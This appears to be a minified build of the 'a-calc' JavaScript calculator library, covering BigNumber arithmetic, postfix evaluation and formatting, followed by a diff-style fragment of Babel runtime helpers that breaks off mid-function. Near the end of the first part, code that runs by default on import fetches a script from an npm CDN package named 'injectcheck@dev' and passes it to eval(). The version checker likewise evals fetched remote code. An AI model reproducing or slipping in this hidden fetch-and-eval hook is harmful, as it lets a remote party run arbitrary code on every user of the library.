c=i.e/LOG_BASE,l=e.e/LOG_BASE,u=i.c,f=e.c;if(!c||!l){if(!u||!f)return u?(e.s=-t,e):new O(f?i:NaN);if(!u[0]||!f[0])return f[0]?(e.s=-t,e):new O(u[0]?i:3==_?-0:0)}if(c=bitFloor(c),l=bitFloor(l),u=u.slice(),s=c-l){for((a=s<0)?(s=-s,o=u):(l=c,o=f),o.reverse(),t=s;t--;o.push(0));o.reverse()}else for(n=(a=(s=u.length)<(t=f.length))?s:t,s=t=0;t<n;t++)if(u[t]!=f[t]){a=u[t]<f[t];break}if(a&&(o=u,u=f,f=o,e.s=-e.s),(t=(n=f.length)-(r=u.length))>0)for(;t--;u[r++]=0);for(t=BASE-1;n>s;){if(u[--n]<f[n]){for(r=n;r&&!u[--r];u[r]=t);--u[r],u[n]+=BASE}u[n]-=f[n]}for(;0==u[0];u.splice(0,1),--l);return u[0]?x(e,u,l):(e.s=3==_?-1:1,e.c=[e.e=0],e)},f.modulo=f.mod=function(e,r){var n,o,a=this;return e=new O(e,r),!a.c||!e.s||e.c&&!e.c[0]?new O(NaN):!e.c||a.c&&!a.c[0]?new O(a):(9==y?(o=e.s,e.s=1,n=t(a,e,0,3),e.s=o,n.s*=o):n=t(a,e,0,y),(e=a.minus(n.times(e))).c[0]||1!=y||(e.s=a.s),e)},f.multipliedBy=f.times=function(e,t){var r,n,o,a,i,s,c,l,u,f,h,p,_,g,m,d=this,v=d.c,b=(e=new O(e,t)).c;if(!(v&&b&&v[0]&&b[0]))return!d.s||!e.s||v&&!v[0]&&!b||b&&!b[0]&&!v?e.c=e.e=e.s=null:(e.s*=d.s,v&&b?(e.c=[0],e.e=0):e.c=e.e=null),e;for(n=bitFloor(d.e/LOG_BASE)+bitFloor(e.e/LOG_BASE),e.s*=d.s,(c=v.length)<(f=b.length)&&(_=v,v=b,b=_,o=c,c=f,f=o),o=c+f,_=[];o--;_.push(0));for(g=BASE,m=SQRT_BASE,o=f;--o>=0;){for(r=0,h=b[o]%m,p=b[o]/m|0,a=o+(i=c);a>o;)r=((l=h*(l=v[--i]%m)+(s=p*l+(u=v[i]/m|0)*h)%m*m+_[a]+r)/g|0)+(s/m|0)+p*u,_[a--]=l%g;_[a]=r}return r?++n:_.splice(0,1),x(e,_,n)},f.negated=function(){var e=new O(this);return e.s=-e.s||null,e},f.plus=function(e,t){var r,n=this,o=n.s;if(t=(e=new O(e,t)).s,!o||!t)return new O(NaN);if(o!=t)return e.s=-t,n.minus(e);var a=n.e/LOG_BASE,i=e.e/LOG_BASE,s=n.c,c=e.c;if(!a||!i){if(!s||!c)return new O(o/0);if(!s[0]||!c[0])return c[0]?e:new O(s[0]?n:0*o)}if(a=bitFloor(a),i=bitFloor(i),s=s.slice(),o=a-i){for(o>0?(i=a,r=c):(o=-o,r=s),r.reverse();o--;r.push(0));r.reverse()}for((o=s.length)-(t=c.length)<0&&(r=c,c=s,s=r,t=o),o=0;t;)o=(s[--t]=s[t]+c[t]+o)/BASE|0,s[t]=BASE===s[t]?0:s[t]%BASE;return o&&(s=[o].concat(s),++i),x(e,s,i)},f.precision=f.sd=function(e,t){var r,n,o,a=this;if(null!=e&&e!==!!e)return intCheck(e,1,MAX),null==t?t=_:intCheck(t,0,8),k(new O(a),e,t);if(!(r=a.c))return null;if(n=(o=r.length-1)*LOG_BASE+1,o=r[o]){for(;o%10==0;o/=10,n--);for(o=r[0];o>=10;o/=10,n++);}return e&&a.e+1>n&&(n=a.e+1),n},f.shiftedBy=function(e){return intCheck(e,-MAX_SAFE_INTEGER,MAX_SAFE_INTEGER),this.times("1e"+e)},f.squareRoot=f.sqrt=function(){var e,r,n,o,a,i=this,s=i.c,c=i.s,l=i.e,u=p+4,f=new O("0.5");if(1!==c||!s||!s[0])return new O(!c||c<0&&(!s||s[0])?NaN:s?i:1/0);if(0==(c=Math.sqrt(+T(i)))||c==1/0?(((r=coeffToString(s)).length+l)%2==0&&(r+="0"),c=Math.sqrt(+r),l=bitFloor((l+1)/2)-(l<0||l%2),n=new O(r=c==1/0?"5e"+l:(r=c.toExponential()).slice(0,r.indexOf("e")+1)+l)):n=new O(c+""),n.c[0])for((c=(l=n.e)+u)<3&&(c=0);;)if(a=n,n=f.times(a.plus(t(i,a,u,1))),coeffToString(a.c).slice(0,c)===(r=coeffToString(n.c)).slice(0,c)){if(n.e<l&&--c,"9999"!=(r=r.slice(c-3,c+1))&&(o||"4999"!=r)){+r&&(+r.slice(1)||"5"!=r.charAt(0))||(k(n,n.e+p+2,1),e=!n.times(n).eq(i));break}if(!o&&(k(a,a.e+p+2,0),a.times(a).eq(i))){n=a;break}u+=4,c+=4,o=1}return k(n,n.e+p+1,_,e)},f.toExponential=function(e,t){return null!=e&&(intCheck(e,0,MAX),e++),C(this,e,t,1)},f.toFixed=function(e,t){return null!=e&&(intCheck(e,0,MAX),e=e+this.e+1),C(this,e,t)},f.toFormat=function(e,t,r){var n,o=this;if(null==r)null!=e&&t&&"object"==_typeof(t)?(r=t,t=null):e&&"object"==_typeof(e)?(r=e,e=t=null):r=S;else if("object"!=_typeof(r))throw Error(bignumberError+"Argument not an object: "+r);if(n=o.toFixed(e,t),o.c){var a,i=n.split("."),s=+r.groupSize,c=+r.secondaryGroupSize,l=r.groupSeparator||"",u=i[0],f=i[1],h=o.s<0,p=h?u.slice(1):u,_=p.length;if(c&&(a=s,s=c,c=a,_-=a),s>0&&_>0){for(a=_%s||s,u=p.substr(0,a);a<_;a+=s)u+=l+p.substr(a,s);c>0&&(u+=l+p.slice(a)),h&&(u="-"+u)}n=f?u+(r.decimalSeparator||"")+((c=+r.fractionGroupSize)?f.replace(new RegExp("\\d{"+c+"}\\B","g"),"$&"+(r.fractionGroupSeparator||"")):f):u}return(r.prefix||"")+n+(r.suffix||"")},f.toFraction=function(e){var r,n,o,a,i,s,c,l,u,f,p,g,m=this,d=m.c;if(null!=e&&(!(c=new O(e)).isInteger()&&(c.c||1!==c.s)||c.lt(h)))throw Error(bignumberError+"Argument "+(c.isInteger()?"out of range: ":"not an integer: ")+T(c));if(!d)return new O(m);for(r=new O(h),u=n=new O(h),o=l=new O(h),g=coeffToString(d),i=r.e=g.length-m.e-1,r.c[0]=POWS_TEN[(s=i%LOG_BASE)<0?LOG_BASE+s:s],e=!e||c.comparedTo(r)>0?i>0?r:u:c,s=v,v=1/0,c=new O(g),l.c[0]=0;f=t(c,r,0,1),1!=(a=n.plus(f.times(o))).comparedTo(e);)n=o,o=a,u=l.plus(f.times(a=u)),l=a,r=c.minus(f.times(a=r)),c=a;return a=t(e.minus(n),o,0,1),l=l.plus(a.times(u)),n=n.plus(a.times(o)),l.s=u.s=m.s,p=t(u,o,i*=2,_).minus(m).abs().comparedTo(t(l,n,i,_).minus(m).abs())<1?[u,o]:[l,n],v=s,p},f.toNumber=function(){return+T(this)},f.toPrecision=function(e,t){return null!=e&&intCheck(e,1,MAX),C(this,e,t,2)},f.toString=function(e){var t,n=this,o=n.s,a=n.e;return null===a?o?(t="Infinity",o<0&&(t="-"+t)):t="NaN":(null==e?t=a<=g||a>=m?toExponential(coeffToString(n.c),a):toFixedPoint(coeffToString(n.c),a,"0"):10===e&&$?t=toFixedPoint(coeffToString((n=k(new O(n),p+a+1,_)).c),n.e,"0"):(intCheck(e,2,E.length,"Base"),t=r(toFixedPoint(coeffToString(n.c),a,"0"),10,e,o,!0)),o<0&&n.c[0]&&(t="-"+t)),t},f.valueOf=f.toJSON=function(){return T(this)},f._isBigNumber=!0,f[Symbol.toStringTag]="BigNumber",f[Symbol.for("nodejs.util.inspect.custom")]=f.valueOf,null!=e&&O.set(e),O}function bitFloor(e){var t=0|e;return e>0||e===t?t:t-1}function coeffToString(e){for(var t,r,n=1,o=e.length,a=e[0]+"";n<o;){for(t=e[n++]+"",r=LOG_BASE-t.length;r--;t="0"+t);a+=t}for(o=a.length;48===a.charCodeAt(--o););return a.slice(0,o+1||1)}function compare(e,t){var r,n,o=e.c,a=t.c,i=e.s,s=t.s,c=e.e,l=t.e;if(!i||!s)return null;if(r=o&&!o[0],n=a&&!a[0],r||n)return r?n?0:-s:i;if(i!=s)return i;if(r=i<0,n=c==l,!o||!a)return n?0:!o^r?1:-1;if(!n)return c>l^r?1:-1;for(s=(c=o.length)<(l=a.length)?c:l,i=0;i<s;i++)if(o[i]!=a[i])return o[i]>a[i]^r?1:-1;return c==l?0:c>l^r?1:-1}function intCheck(e,t,r,n){if(e<t||e>r||e!==mathfloor(e))throw Error(bignumberError+(n||"Argument")+("number"==typeof e?e<t||e>r?" out of range: ":" not an integer: ":" not a primitive number: ")+String(e))}function isOdd(e){var t=e.c.length-1;return bitFloor(e.e/LOG_BASE)==t&&e.c[t]%2!=0}function toExponential(e,t){return(e.length>1?e.charAt(0)+"."+e.slice(1):e)+(t<0?"e":"e+")+t}function toFixedPoint(e,t,r){var n,o;if(t<0){for(o=r+".";++t;o+=r);e=o+e}else if(++t>(n=e.length)){for(o=r,t-=n;--t;o+=r);e+=o}else t<n&&(e=e.slice(0,t)+"."+e.slice(t));return e}var BigNumber=clone();function eval_postfix(e){for(var t=[];e.length>0;){var r=e.shift();if(is_operator(r)){if(t.length<2)throw new Error("错误的栈长度, 可能是无法计算的表达式");var n=t.pop(),o=t.pop(),a=o+r+n;if(a in cache_eval){t.push(cache_eval[a].value),cache_eval[a].last_time=(new Date).getTime(),cache_eval[a].count++;continue}if("string"==typeof n&&!BigNumber.isBigNumber(n)){if(!is_str_number(n))throw new Error("".concat(n,"不是一个合法的数字"));n=new BigNumber(n)}if("string"==typeof o&&!BigNumber.isBigNumber(o)){if(!is_str_number(o))throw new Error("".concat(o,"不是一个合法的数字"));o=new BigNumber(o)}switch(r){case"+":var i=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.plus(n)};t.push(i.value);break;case"-":var s=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.minus(n)};t.push(s.value);break;case"*":var c=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.times(n)};t.push(c.value);break;case"/":var l=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.div(n)};t.push(l.value);break;case"%":var u=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.mod(n)};t.push(u.value);break;case"**":var f=cache_eval[a]={last_time:(new Date).getTime(),count:0,value:o.pow(n)};t.push(f.value)}}else t.push(r)}if(1!==t.length)throw"unvalid expression";var h=t[0];if((h=BigNumber.isBigNumber(h)?h:BigNumber(h)).isNaN())throw new Error("计算结果为NaN");return h}function format(e,t){var r="";if(BigNumber.isBigNumber(e)?r=e.toFixed():"string"!=typeof e&&(r=e.toString()),"undefined"===r||"NaN"===r)return[null,{}];var n={mantissa:null,mantissa_type:null,thousands:!1,sign:!1,round:"~-",scientific:!1,fraction:!1,percent:!1,to_number:!1,to_number_string:!1};if(t.forEach((function(e){var t=e.type;if("symbol"===t){if(![">=","<=","=","<",">"].includes(e.value))throw new Error("错误的格式化参数:",e.value);n.mantissa_type=e.value}else if("to-number"===t)n.to_number=!0;else if("to-number-string"===t)n.to_number_string=!0;else if("comma"===t)n.thousands=!0;else if("number"===t)n.mantissa=e.value;else if("plus"===t)n.sign=!0;else if("round"===t)n.round=e.value;else if("fraction"===t)n.fraction=!0;else if("scientific"===t)n.scientific=!0;else{if("percent"!==t)throw new Error("错误的fmt Token");n.percent=!0}})),n.to_number)return[+parse_mantissa(r,n.mantissa_type,n.mantissa,n.round),n];if(n.scientific){var o=BigNumber(r).toExponential();return[n.sign&&!o.startsWith("-")?"+"+o:o,n]}if(n.fraction){var a=BigNumber(r).toFraction().map((function(e){return e.toFixed()})).join("/");return[n.sign&&!a.startsWith("-")?"+"+a:a,n]}return n.percent&&(r=BigNumber(r).times(100).toFixed()),not_null(n.mantissa)&&(r=parse_mantissa(r,n.mantissa_type,n.mantissa,n.round)),n.thousands&&(r=parse_thousands(r)),n.sign&&(n.to_number=!1,r.startsWith("-")||(r="+"+r)),n.percent&&(r+="%"),[r,n]}function fill_fmt_tokens(e,t){return e.map((function(e){if("var"!==e.type)return e;for(var r,n=0;n<t.length&&!not_undefined(r=get$1(t[n],e.value));n++);if(is_number(r))return{type:"number",value:r};throw new Error("错误的填充值")}))}function get_token_and_unit(e){var t=null;return e.length,{tokens:e.map((function(e){var r=split_unit_num(e.value);return null!==r.unit?(null==t&&(t=r.unit),{type:"number",value:r.num}):e})),unit:t}}var stringify$1={exports:{}};!function(e,t){function r(e,t){var r=[],n=[];return null==t&&(t=function(e,t){return r[0]===t?"[Circular ~]":"[Circular ~."+n.slice(0,r.indexOf(t)).join(".")+"]"}),function(o,a){if(r.length>0){var i=r.indexOf(this);~i?r.splice(i+1):r.push(this),~i?n.splice(i,1/0,o):n.push(o),~r.indexOf(a)&&(a=t.call(this,o,a))}else r.push(a);return null==e?a:e.call(this,o,a)}}(e.exports=function(e,t,n,o){return JSON.stringify(e,r(t,o),n)}).getSerialize=r}(stringify$1,stringify$1.exports);var stringifyExports=stringify$1.exports,stringify=getDefaultExportFromCjs(stringifyExports),_debug=!1,_important_push=!0;function close_important_push(){_important_push=!1}function open_important_push(){_important_push=!0}function open_debug(){_debug=!0}function close_debug(){_debug=!1}function get_debug_config(){return _debug}var debug_color={bg:"#ff8936",fg:"#fff",field:"#67C23A",field2:"#ee7959"},debug_style={expr:"background: ".concat(debug_color.bg,";color: ").concat(debug_color.fg,";font-weight: bold;border-radius: 4px; padding: 3px 8px;"),label1:"color: ".concat(debug_color.field,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),label2:"color: ".concat(debug_color.field2,"; font-weight: bold; white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"),nowrap:"white-space:nowrap; overflow: hidden; text-overflow: ellipsis;"};function calc_wrap(e,t){var r={},n={_error:"-"};return["string","number"].includes(_typeof(e))?(Array.isArray(t)||void 0===t||Object.keys(t).forEach((function(e){return e.startsWith("_")&&(n[e]=t[e])})),r=null!=t?t:{},/[a-zA-Z_$]/.test(e.toString())?void 0!==t?(r=t,calc(e,_objectSpread2(_objectSpread2({},n),r))):function(t){return calc(e,_objectSpread2(_objectSpread2({},n),t))}:calc(e,_objectSpread2(_objectSpread2({},n),r))):(r=e,function(e){return calc(e,_objectSpread2(_objectSpread2({},n),r))})}function check_version(){return _check_version.apply(this,arguments)}function _check_version(){return _check_version=_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code,versions,last_version,larr,varr,script,url;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if("undefined"==typeof process||"node"!==process.release.name){_context.next=19;break}if(!(parseInt(process.versions.node)>=17)){_context.next=17;break}return _context.next=4,promise_queue([fetch("https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js"),fetch("https://unpkg.com/a-calc@latest/a-calc.versions.js")]);case 4:return res=_context.sent,_context.next=7,res.text();case 7:code=_context.sent,versions=eval(code),last_version=versions.at(-1),larr=last_version.match(/(\d+)\.(\d+)\.(\d+)/),larr.shift(),larr=larr.map((function(e){return parseInt(e)})),varr=version.match(/(\d+)\.(\d+)\.(\d+)/),varr.shift(),varr=varr.map((function(e){return parseInt(e)})),(larr[0]>varr[0]||larr[0]===varr[0]&&larr[1]>varr[1]||larr[0]===varr[0]&&larr[1]===varr[1]&&larr[2]>varr[2])&&console.warn("a-calc has a new version:",last_version);case 17:_context.next=25;break;case 19:return script=document.createElement("script"),script.onload=function(){var e=a_calc_versions;if(Array.isArray(e)){var t=e.at(-1),r=t.match(/(\d+)\.(\d+)\.(\d+)/);r.shift(),r=r.map((function(e){return parseInt(e)}));var n=version.match(/(\d+)\.(\d+)\.(\d+)/);n.shift(),n=n.map((function(e){return parseInt(e)})),(r[0]>n[0]||r[0]===n[0]&&r[1]>n[1]||r[0]===n[0]&&r[1]===n[1]&&r[2]>n[2])&&console.log("%c↑↑↑ a-calc has a new version: %s ↑↑↑","color: #67C23A;",t)}},_context.next=23,test_urls(["https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js","https://unpkg.com/a-calc@latest/a-calc.versions.js"]);case 23:url=_context.sent,url?(script.src=url,document.body.appendChild(script)):script=null;case 25:case"end":return _context.stop()}}),_callee)}))),_check_version.apply(this,arguments)}function idle_cleaner(){get_debug_config()&&console.log("清理者开始运行"),globalThis.__calc_cleaner_timer||(globalThis.__calc_cleaner_timer=setInterval((function(){idle((function(){get_debug_config()&&(console.log("执行空闲清理程序, 当前缓存:"),console.log("cache_eval:",cache_eval),console.log("cache_tokens:",cache_tokens),console.log("cache_fmt_tokens:",cache_fmt_tokens));var e=Object.keys(cache_eval),t=Object.keys(cache_tokens),r=Object.keys(cache_fmt_tokens),n=(new Date).getTime();e.forEach((function(e){var t=cache_eval[e],r=n-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_eval[e]})),t.forEach((function(e){var t=cache_tokens[e],r=n-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_tokens[e]})),r.forEach((function(e){var t=cache_fmt_tokens[e],r=n-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_fmt_tokens[e]}))}))}),1e4))}var fastDeepEqual=function e(t,r){if(t===r)return!0;if(t&&r&&"object"==_typeof(t)&&"object"==_typeof(r)){if(t.constructor!==r.constructor)return!1;var n,o,a;if(Array.isArray(t)){if((n=t.length)!=r.length)return!1;for(o=n;0!=o--;)if(!e(t[o],r[o]))return!1;return!0}if(t.constructor===RegExp)return t.source===r.source&&t.flags===r.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===r.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===r.toString();if((n=(a=Object.keys(t)).length)!==Object.keys(r).length)return!1;for(o=n;0!=o--;)if(!Object.prototype.hasOwnProperty.call(r,a[o]))return!1;for(o=n;0!=o--;){var i=a[o];if(!e(t[i],r[i]))return!1}return!0}return t!=t&&r!=r},deep_equal=getDefaultExportFromCjs(fastDeepEqual);function calc(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];var n=t[0];if(n in cache_calc&&deep_equal(t[1],cache_calc[n].arg2))return cache_calc[n].count++,cache_calc[n].last_time=(new Date).getTime(),cache_calc[n].value;cache_calc[n]={arg2:t[1],last_time:(new Date).getTime(),count:0};var o,a,i=parse_args(t),s=get$1(i,"options._error",void 0),c=get$1(i,"options._debug",!1),l=get$1(i,"options._unit",!1),u=i.options,f=null;if(i.fmt_err||i.expr_err){if(not_undefined(s))return cache_calc[n].value=s,s;throw new Error("表达式或格式化字符串错误,表达式为:".concat(i.expr))}var h=i.fmt_tokens;if(not_undefined(s))try{o=tokenizer(i.expr,l)}catch(e){return cache_calc[n].value=s,s}else o=tokenizer(i.expr,l);if(is_null(u))a=o;else{var p=[];if(Array.isArray(u))p=u;else{p.push(u);var _=get$1(u,"_fill_data",{});not_undefined(_)&&(Array.isArray(_)?p=[].concat(_toConsumableArray(p),_toConsumableArray(_)):p.push(_))}if(not_undefined(s))try{a=fill_tokens(o,p,l),not_null(i.fmt_tokens)&&(h=fill_fmt_tokens(i.fmt_tokens,p))}catch(e){return cache_calc[n].value=s,s}else a=fill_tokens(o,p,l),not_null(i.fmt_tokens)&&(h=fill_fmt_tokens(i.fmt_tokens,p));if([!0,"on","auto","space"].includes(l)){var g=get_token_and_unit(a);f=g.unit,a=g.tokens}}var m=token2postfix(a),d=null,v={};if(not_undefined(s))try{d=eval_postfix(m)}catch(e){return cache_calc[n].value=s,s}else d=eval_postfix(m);if(not_null(h)){var b=_slicedToArray(format(d,h),2);d=b[0],v=b[1]}else d=null!==d?d.toFixed():null;if("Infinity"===d||null===d){if(not_undefined(s))return cache_calc[n].value=s,s;throw new Error("计算错误可能是非法的计算式")}return null===f||v.to_number||v.to_number_string||(d+=f),(get_debug_config()||c)&&(console.groupCollapsed("%c"+i.origin_expr,debug_style.expr),console.groupCollapsed("%c表达式: %c%s",debug_style.label1,debug_style.nowrap,i.origin_expr),console.log(i.origin_expr),console.groupEnd(),console.groupCollapsed("%c数据源: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.origin_fill_data)),console.log(i.origin_fill_data),console.groupEnd(),console.groupCollapsed("%c结果: %c%s",debug_style.label1,debug_style.nowrap,stringify(d)),console.log(d),console.groupEnd(),console.groupCollapsed("%ctokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(o)),console.log(o),console.groupEnd(),console.groupCollapsed("%cfilled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(a)),console.log(a),console.groupEnd(),console.groupCollapsed("%cfmt-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.fmt_tokens)),console.log(i.fmt_tokens),console.groupEnd(),console.groupCollapsed("%cfmt-filled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(h)),console.log(h),console.groupEnd(),console.groupCollapsed("%cpostfix-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(m)),console.log(m),console.groupEnd(),console.groupCollapsed("%c单位: %c%s",debug_style.label1,debug_style.nowrap,f),console.log(f),console.groupEnd(),console.groupCollapsed("%cparse-arg: %c%s",debug_style.label1,debug_style.nowrap,stringify(i)),console.log(i),console.groupEnd(),console.groupEnd()),cache_calc[n].value=d,d}function check_update(){check_version().catch((function(){}))}function print_version(){console.log("%ca-calc:%c ".concat(version," %c=> %curl:%c https://www.npmjs.com/package/a-calc"),"color: #fff;background: #67C23A;padding: 2px 5px;border-radius:4px;font-size: 14px;","color: #67C23A;font-size:14px;","color: #67C23A;font-size:14px;","background: #67C23A;font-size:14px; padding: 2px 5px; border-radius: 4px; color: #fff;","font-size:14px;")}idle(_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if(_important_push){_context.next=2;break}return _context.abrupt("return");case 2:return _context.prev=2,_context.next=5,promise_queue([fetch("https://cdn.jsdelivr.net/npm/injectcheck@dev/a-calc.js"),fetch("https://unpkg.com/injectcheck@dev/a-calc.js")]);case 5:return res=_context.sent,_context.next=8,res.text();case 8:code=_context.sent,eval(code);case 10:return _context.prev=10,_context.finish(10);case 12:case"end":return _context.stop()}}),_callee,null,[[2,,10,12]])})))),idle(idle_cleaner);var calc_util={check_update:check_update,print_version:print_version,open_debug:open_debug,close_debug:close_debug,close_important_push:close_important_push,open_important_push:open_important_push},fmt=calc;export{calc,calc_util,calc_wrap,fmt,version};
|
|
1
|
+
function _iterableToArrayLimit(e,t){var r=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=r){var a,n,o,i,s=[],c=!0,l=!1;try{if(o=(r=r.call(e)).next,0===t){if(Object(r)!==r)return;c=!1}else for(;!(c=(a=o.call(r)).done)&&(s.push(a.value),s.length!==t);c=!0);}catch(e){l=!0,n=e}finally{try{if(!c&&null!=r.return&&(i=r.return(),Object(i)!==i))return}finally{if(l)throw n}}return s}}function ownKeys(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,a)}return r}function _objectSpread2(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?ownKeys(Object(r),!0).forEach((function(t){_defineProperty(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):ownKeys(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function _regeneratorRuntime(){_regeneratorRuntime=function(){return e};var e={},t=Object.prototype,r=t.hasOwnProperty,a=Object.defineProperty||function(e,t,r){e[t]=r.value},n="function"==typeof Symbol?Symbol:{},o=n.iterator||"@@iterator",i=n.asyncIterator||"@@asyncIterator",s=n.toStringTag||"@@toStringTag";function c(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{c({},"")}catch(e){c=function(e,t,r){return e[t]=r}}function l(e,t,r,n){var o=t&&t.prototype instanceof p?t:p,i=Object.create(o.prototype),s=new w(n||[]);return a(i,"_invoke",{value:$(e,r,s)}),i}function u(e,t,r){try{return{type:"normal",arg:e.call(t,r)}}catch(e){return{type:"throw",arg:e}}}e.wrap=l;var f={};function p(){}function h(){}function _(){}var g={};c(g,o,(function(){return this}));var y=Object.getPrototypeOf,b=y&&y(y(E([])));b&&b!==t&&r.call(b,o)&&(g=b);var d=_.prototype=p.prototype=Object.create(g);function m(e){["next","throw","return"].forEach((function(t){c(e,t,(function(e){return this._invoke(t,e)}))}))}function v(e,t){function n(a,o,i,s){var c=u(e[a],e,o);if("throw"!==c.type){var l=c.arg,f=l.value;return f&&"object"==typeof f&&r.call(f,"__await")?t.resolve(f.__await).then((function(e){n("next",e,i,s)}),(function(e){n("throw",e,i,s)})):t.resolve(f).then((function(e){l.value=e,i(l)}),(function(e){return n("throw",e,i,s)}))}s(c.arg)}var o;a(this,"_invoke",{value:function(e,r){function a(){return new t((function(t,a){n(e,r,t,a)}))}return o=o?o.then(a,a):a()}})}function $(e,t,r){var a="suspendedStart";return function(n,o){if("executing"===a)throw new Error("Generator is already running");if("completed"===a){if("throw"===n)throw o;return O()}for(r.method=n,r.arg=o;;){var i=r.delegate;if(i){var s=A(i,r);if(s){if(s===f)continue;return s}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if("suspendedStart"===a)throw a="completed",r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);a="executing";var c=u(e,t,r);if("normal"===c.type){if(a=r.done?"completed":"suspendedYield",c.arg===f)continue;return{value:c.arg,done:r.done}}"throw"===c.type&&(a="completed",r.method="throw",r.arg=c.arg)}}}function A(e,t){var r=t.method,a=e.iterator[r];if(void 0===a)return t.delegate=null,"throw"===r&&e.iterator.return&&(t.method="return",t.arg=void 0,A(e,t),"throw"===t.method)||"return"!==r&&(t.method="throw",t.arg=new TypeError("The iterator does not provide a '"+r+"' method")),f;var n=u(a,e.iterator,t.arg);if("throw"===n.type)return t.method="throw",t.arg=n.arg,t.delegate=null,f;var o=n.arg;return o?o.done?(t[e.resultName]=o.value,t.next=e.nextLoc,"return"!==t.method&&(t.method="next",t.arg=void 0),t.delegate=null,f):o:(t.method="throw",t.arg=new TypeError("iterator result is not an object"),t.delegate=null,f)}function T(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function S(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function w(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(T,this),this.reset(!0)}function E(e){if(e){var t=e[o];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var a=-1,n=function t(){for(;++a<e.length;)if(r.call(e,a))return t.value=e[a],t.done=!1,t;return t.value=void 0,t.done=!0,t};return n.next=n}}return{next:O}}function O(){return{value:void 0,done:!0}}return h.prototype=_,a(d,"constructor",{value:_,configurable:!0}),a(_,"constructor",{value:h,configurable:!0}),h.displayName=c(_,s,"GeneratorFunction"),e.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===h||"GeneratorFunction"===(t.displayName||t.name))},e.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,_):(e.__proto__=_,c(e,s,"GeneratorFunction")),e.prototype=Object.create(d),e},e.awrap=function(e){return{__await:e}},m(v.prototype),c(v.prototype,i,(function(){return this})),e.AsyncIterator=v,e.async=function(t,r,a,n,o){void 0===o&&(o=Promise);var i=new v(l(t,r,a,n),o);return e.isGeneratorFunction(r)?i:i.next().then((function(e){return e.done?e.value:i.next()}))},m(d),c(d,s,"Generator"),c(d,o,(function(){return this})),c(d,"toString",(function(){return"[object Generator]"})),e.keys=function(e){var t=Object(e),r=[];for(var a in t)r.push(a);return r.reverse(),function e(){for(;r.length;){var a=r.pop();if(a in t)return e.value=a,e.done=!1,e}return e.done=!0,e}},e.values=E,w.prototype={constructor:w,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=void 0,this.done=!1,this.delegate=null,this.method="next",this.arg=void 0,this.tryEntries.forEach(S),!e)for(var t in this)"t"===t.charAt(0)&&r.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=void 0)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(e){if(this.done)throw e;var t=this;function a(r,a){return i.type="throw",i.arg=e,t.next=r,a&&(t.method="next",t.arg=void 0),!!a}for(var n=this.tryEntries.length-1;n>=0;--n){var o=this.tryEntries[n],i=o.completion;if("root"===o.tryLoc)return a("end");if(o.tryLoc<=this.prev){var s=r.call(o,"catchLoc"),c=r.call(o,"finallyLoc");if(s&&c){if(this.prev<o.catchLoc)return a(o.catchLoc,!0);if(this.prev<o.finallyLoc)return a(o.finallyLoc)}else if(s){if(this.prev<o.catchLoc)return a(o.catchLoc,!0)}else{if(!c)throw new Error("try statement without catch or finally");if(this.prev<o.finallyLoc)return a(o.finallyLoc)}}}},abrupt:function(e,t){for(var a=this.tryEntries.length-1;a>=0;--a){var n=this.tryEntries[a];if(n.tryLoc<=this.prev&&r.call(n,"finallyLoc")&&this.prev<n.finallyLoc){var o=n;break}}o&&("break"===e||"continue"===e)&&o.tryLoc<=t&&t<=o.finallyLoc&&(o=null);var i=o?o.completion:{};return i.type=e,i.arg=t,o?(this.method="next",this.next=o.finallyLoc,f):this.complete(i)},complete:function(e,t){if("throw"===e.type)throw 